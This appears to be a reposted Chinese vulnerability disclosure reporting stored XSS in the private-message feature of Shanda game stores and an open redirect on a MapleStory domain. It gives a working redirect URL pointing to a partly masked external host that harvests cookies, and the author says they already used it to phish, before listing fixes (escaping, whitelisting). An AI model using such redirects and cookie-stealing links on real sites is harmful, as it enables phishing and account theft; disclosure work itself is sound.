盛大四个游戏商城XSS指哪打哪+URL重定向-真幸福：电脑安全

欢迎登陆真网站，您的到来是我们的荣幸。登陆注册忘记密码？ ☆设为首页 △加入收藏

电脑安全更多

盛大四个游戏商城XSS指哪打哪+URL重定向

【来源：网络】【点击：1 】【发布时间：2017_03_03 08:59:59 】

　　发送短信息处可插入XSS 发给谁都行打开就中招

　　用冒险岛的做例子...

　　URL重定向就是我已经用来测试钓鱼了... 自己看地址吧

　　http://city.mxd.sdo.com/default.aspx?mainUrl=http%3a%2f%2fxssin**e%2fauth.php%3fid%3d2407

　　然后pia pia pia地 cookies就来了

　　URL重定向就是我已经用来测试钓鱼了... 自己看地址吧

　　http://city.mxd.sdo.com/default.aspx?mainUrl=http%3a%2f%2fxssin**e%2fauth.php%3fid%3d2407

　　修复方案：

　　XSS修复方法：转义

　　URL重定向：做白名单